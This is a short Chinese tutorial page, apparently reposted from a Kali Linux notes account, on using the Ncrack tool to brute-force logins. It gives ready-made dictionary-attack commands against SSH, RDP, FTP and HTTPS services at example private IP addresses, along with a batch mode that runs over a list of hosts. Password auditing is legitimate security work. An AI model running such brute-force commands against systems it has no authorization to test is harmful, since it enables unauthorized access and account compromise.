首页 > 数据库 > 数据库开发技术 > 利用Ncrack破解密码
Ncrack是一个高速的网络认证破解工具。Ncrack采用模块化方法,类似的Nmap命令行语法和动态引擎,可以根据网络的反馈调整其行为而设计的。它允许多个主机的快速而可靠的大规模审计。

Ncrack的功能包括一个非常灵活的接口授予网络操作的用户的完全控制,允许非常复杂的暴力破解攻击, 定时模板为便于使用的,类似的Nmap的并有更多的运行时的交互。支持的协议包括:RDP、SSH、http(s)``、SMB、pop3(s)``、VNC、FTP、telnet等。
ncrack -h

-U: 后跟用户名字典
-P:后跟密码字典
-6: IPV6地址
-sL:多个目标(放到txt文件中)
ncrack -v --user root localhost:22
ncrack -v -T5 https://192.168.0.1
ncrack -v -iX ~/nmap.xml -g CL=5,to=1h
ncrack -vv -U kali.txt -P zi.txt 192.168.123.74:22

ncrack -vv -U kali.txt -P zi.txt 192.168.1.208:3389
ncrack -vv -U kali.txt -P zi.txt 192.168.123.1:21
以此类推,需要破解什么协议,我们只需要改变IP后面的端口就行了。
ncrack -v -iL ip.txt --user kali -P zi.txt -p ssh CL=1

用详细模式 (-v) 读取IP 地址(-iL win.txt)的列表 ,并尝试登录的用户名受害人 (-user 用户名) 随着口令字典 (-P passes.txt) 使用SSH协议 (-p SSH) 与在时刻 (CL = 1) 的一个连接
更多文章 关注我们
原文作者:Kali笔记;如有侵权,请联系管理员删除。